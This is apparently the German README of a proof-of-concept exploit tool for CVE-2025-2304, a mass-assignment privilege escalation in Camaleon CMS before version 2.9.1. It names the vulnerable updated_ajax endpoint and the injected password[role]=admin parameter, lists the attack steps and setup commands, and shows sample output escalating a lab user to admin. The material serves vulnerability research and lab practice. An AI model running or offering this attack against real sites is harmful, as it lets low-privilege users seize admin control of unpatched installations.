CVE-2025-2304 — Camaleon CMS Massenzuweisungs-Privilegienerweiterung (PoC)

Privilegienerweiterungsschwachstelle in Camaleon CMS < 2.9.1. Der updated_ajax-Endpunkt in UsersController ruft params.require(:password).permit! ohne Filterung auf, sodass jeder Parameter massenweise zugewiesen werden kann. Ein authentifizierter Benutzer mit niedrigen Rechten kann durch Injizieren von password[role]=admin zusammen mit einer Passwortänderungsanforderung auf Admin-Rechte eskalieren.

Wie es funktioniert

1. Mit den bereitgestellten Anmeldeinformationen einloggen, um eine gültige Sitzung zu erhalten.
2. Die ID und Rolle des aktuellen Benutzers von der Profilseite abrufen.
3. Eine PATCH-Anfrage an /admin/users/<id>/updated_ajax senden, bei der password[role]=admin in die Passwortparameter injiziert wird.
4. Überprüfen, ob die Rolle auf admin aktualisiert wurde.

Anforderungen

• Python 3
• Abhängigkeiten installieren:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4

Verwendung

python3 exploit.py http://TARGET -u USER -p PASS

Beispiel:

$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.

Referenzen

• CVE-2025-2304
• Tenable Research Advisory
• Camaleon CMS 2.9.1 release (Fix)

Danksagungen

• Entdeckung: Tenable Research
• Aufbereitung & Vereinfachung: Esteban Zárate